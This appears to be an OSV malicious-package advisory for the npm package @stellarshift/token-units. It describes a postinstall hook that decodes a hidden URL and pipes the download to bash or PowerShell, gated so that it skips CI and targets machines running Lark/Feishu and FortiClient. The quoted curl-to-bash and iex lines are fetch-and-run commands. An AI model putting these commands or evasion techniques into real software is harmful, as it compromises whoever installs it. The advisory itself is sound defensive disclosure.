{"id":"MAL-2026-15824","summary":"Malicious code in @stellarshift/token-units (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211)\nPackage advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: `curl -fsSL --connect-timeout 8 '\u003curi\u003e' 2\u003e/dev/null | bash` on Unix, and `iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content` inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.\n\n## Source: ghsa-malware (799167b7d6274c8f25f96e1ba8b66bf88ec065b10ed92cce4da2193e42aba346)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-rj7g-9fgf-944x"],"modified":"2026-09-04T06:45:06.330956419Z","published":"2026-09-02T17:38:00Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-09-02T22:16:58.776115378Z","modified_time":"2026-09-02T22:07:07Z","sha256":"395b10c83ec895128ea8ddc08f2f113a90951357902e71c3621e3df7eee4fd78","source":"amazon-inspector","versions":["1.0.1"],"id":"IN-MAL-2026-019342"},{"sha256":"a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211","source":"amazon-inspector","versions":["1.0.3"],"id":"IN-MAL-2026-019337","import_time":"2026-09-02T22:16:58.57000736Z","modified_time":"2026-09-02T22:06:21Z"},{"sha256":"799167b7d6274c8f25f96e1ba8b66bf88ec065b10ed92cce4da2193e42aba346","source":"ghsa-malware","id":"GHSA-rj7g-9fgf-944x","import_time":"2026-09-03T05:28:35.855516Z","modified_time":"2026-09-02T17:38:01Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}]},{"import_time":"2026-09-04T06:30:32.725758647Z","modified_time":"2026-09-04T06:13:44Z","sha256":"dd434ba15b30a09529df06c3d6c1e38d4597e2b8e9b60617b031af4a12d515dd","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-019613"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.3"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rj7g-9fgf-944x"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stellarshift/token-units/v/1.0.0"}],"affected":[{"package":{"name":"@stellarshift/token-units","ecosystem":"npm","purl":"pkg:npm/%40stellarshift/token-units"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1","1.0.3","1.0.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"path":"scripts/postinstall.js","sha256":"0acad4e9254aaabd82e8786266cb93bd96775c2e938ad1856a9509e53768995f","tlsh":"ab710ef406926b3171b2e3ac57478d06d4bb743236968180f5ccb1c5afed62c426acf9"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/token-units/MAL-2026-15824.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}